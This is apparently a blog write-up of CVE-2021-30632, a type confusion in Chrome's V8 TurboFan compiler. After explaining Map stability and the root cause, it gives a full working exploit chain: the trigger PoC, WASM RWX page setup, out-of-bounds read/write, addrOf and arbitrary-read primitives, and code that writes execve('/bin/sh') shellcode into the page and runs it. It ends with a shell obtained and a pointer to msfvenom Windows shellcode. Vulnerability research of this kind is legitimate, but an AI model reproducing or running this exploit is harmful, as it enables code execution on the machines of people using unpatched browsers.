Skip to content
cvechromev8jittype-confusionrcebrowser-exploitationwasm

CVE-2021-30632: Chrome V8 Type Confusion -> RCE

6 min read

Tested versions: Chrome 91, 92, 93.0.4577.63

Demo

The original PoC popped a calculator; here the shellcode has been swapped out with msfvenom to run cmd.exe instead:

cmd.exe execution demo

shell obtained


The V8 Map concept

In V8, a Map plays two roles:

  1. It holds the object's memory layout information.
  2. It powers the inline cache (IC) that speeds up property access.

Objects with the same property layout and types share the same Map.

d8> o1 = {a: 1};
d8> o2 = {a: 10000};  // shares the same MapA as o1
 
d8> %DebugPrint(o1);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
 
d8> %DebugPrint(o2);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
// same address: same Map

Adding o2.b = 1 creates a new MapB and adds a transition to MapA:

0x2a58082c7aa1: [Map]
 - transitions #1: 0x2a58082c7ac9 <Map(HOLEY_ELEMENTS)>
     #b: (transition to const data field) -> 0x2a58082c7ac9

This process is called Map Transitions.

Map stability

  • stable_map: a state where there are no transitions, or the Map can only change through reassignment.
  • unstable: when a new transition has been added — the moment a transition is attached to an existing Map (MapA), it becomes unstable.

When TurboFan generates optimized code, it uses this stability to decide whether to insert a CheckMap check.

There are two cases in which a Map on a global variable or object property changes:

  1. Reassignment: when the variable/property is replaced with a new object. In this case the original Map's stability is preserved as-is.
  2. In-place change: when a property is added without reassignment. In this case a new transition is added, or it is already unstable, so the original Map (MapA) becomes unstable.

The vulnerability (CVE-2021-30632)

Root cause

When TurboFan compiles code that stores to a kConstantType global property, it inserts CheckMaps instead of DependOnStableMap if the Map is unstable. But if a function is optimized while the Map is already unstable, then even after the Map later changes, the optimized code is not deoptimized.

case PropertyCellType::kConstantType: {
    dependencies()->DependOnGlobalProperty(property_cell);  // 1. register dependency
    if (property_cell_value.IsHeapObject()) {
        MapRef property_cell_value_map = property_cell_value.AsHeapObject().map();
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map);
            // stable -> auto-deopt when the Map changes
        } else {
            // unstable -> insert CheckMaps
        }
        effect = graph()->NewNode(
            simplified()->CheckMaps(...),  // 2. insert Map check
            value, effect, control);
    }
}

The problem: if global variable x's Map is unstable at the moment the store function is optimized, then even after x.newProp = 1 changes the Map, the optimized store still assumes the old Map. If the load function is then optimized, it assumes x has the new Map, and calling store(oldObj) triggers a type confusion.

PoC

function store(y) { x = y; }
function load()   { return x.b; }
 
var x  = {a: 1};
var x1 = {a: 2};
var x2 = {a: 3};
var x3 = {a: 4};
 
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
 
x1.b = 1;  // x1's Map changes to MapB (MapA is unstable)
 
%OptimizeFunctionOnNextCall(store);
store(x2); // store gets optimized -- at this point x's Map is unstable (MapA)
 
x.b = 1;   // change x's Map to MapB
 
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();    // load optimized: assumes x is MapB
 
store(x3); // x = x3 (MapA) -- the optimized store passes CheckMaps
 
%DebugPrint(load()); // load assumes x is MapB -> type confusion

Exploitation

Overall flow

  1. Create an RWX region via WASM
  2. Obtain an OOB read/write primitive through the type confusion
  3. Get the WASM instance address -> the RWX page address
  4. Copy shellcode into the RWX page -> execute

Step 1: WASM RWX region

var code = new Uint8Array([
  0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
  3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
  5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,
  128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,
  105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,
  65,42,11
]);
var module   = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main     = instance.exports.main;
// the WASM instance internally keeps its JIT-compiled code in an RWX page

Step 2: setting up the type confusion

Initially all of the arrays below share the same Map (HOLEY_SMI_ELEMENTS). The idea is to optimize the foo function and then pass in an object whose Map has changed, making the optimized function assume the wrong type.

var arr0 = new Array(10); arr0.fill(1); arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2); arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x    = arr0;
 
var arr      = new Array(30); arr.fill(4); arr.a = 1;
var b        = new Array(1);  b.fill(1);    // transition from arr.a property
var writeArr = [1.1];                        // transition from b (PACKED_DOUBLE_ELEMENTS)
 
function foo(y)      { x = y; }
function oobRead()   { return [x[20], x[24]]; }
function oobWrite(a) { x[24] = a; }
 
// inserting arr2[0] = 1.1 makes arr1's Map unstable, then optimize foo
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
 
x[0] = 1.1;  // arr1 -> FixedDoubleArray, Map is stable
 
for (let i = 0; i < 20000; i++) oobRead();
for (let i = 0; i < 20000; i++) oobWrite(1.1);
 
foo(arr);  // triggers type confusion: x is now arr (HOLEY_SMI_ELEMENTS)
           // but the optimized oobRead/oobWrite assume x is FixedDoubleArray

Through these loop iterations oobRead and oobWrite also get optimized, and calling foo(arr) afterwards assigns an array of a different type to x, enabling OOB access.

Step 3: implementing the primitives

var view       = new ArrayBuffer(24);
var dblArr     = new Float64Array(view);
var intView    = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
 
b[0]     = instance;
var addrs = oobRead();  // [address of b[0], address of writeArr.elements]
 
function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
  intView[0] = i1; intView[1] = i2;
  return dblArr[0];
}
function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}
 
function addrOf(obj) {
  b[0] = obj;
  dblArr[0] = oobRead()[0];
  return intView[1];
}
 
function arbRead(addr) {
  let [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr, addr1));
  return writeArr[0];
}

addrOf places the target object in b[0] and leaks its address as a float via the OOB read. arbRead swaps writeArr's elements pointer to the desired address to read the value at that location.

Step 4: reaching the RWX page and executing shellcode

function writeShellCode(rwxAddr, shellArr) {
  var intArr     = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  let [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) intArr[i] = shellArr[i];
}
 
var instanceAddr = addrOf(instance);
var rwxAddr      = arbRead(instanceAddr + 0x60);  // WASM JIT RWX page
 
// Linux execve("/bin/sh") syscall shellcode
var shellCode = [
  0x31,0xf6,0x31,0xd2,0x31,0xc0,
  0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,
  0x56,0x53,0x54,0x5f,
  0xb8,0x3b,0x00,0x00,0x00,
  0x0f,0x05
];
 
writeShellCode(rwxAddr, shellCode);
main();

writeShellCode swaps the Uint8Array backing-store pointer to the RWX page address, so writing bytes into the array writes the shellcode directly into the RWX region.

Execution result

./d8 poc.js
instance: 81d42dd
elements: 804bcb1
rwx page address: 1c3124f08000
intArray addr: 81074d9
intBackingStore: 5599f2fb25e0
$

To run it on Windows, just swap in Windows-specific shellcode (generated by msfvenom).


References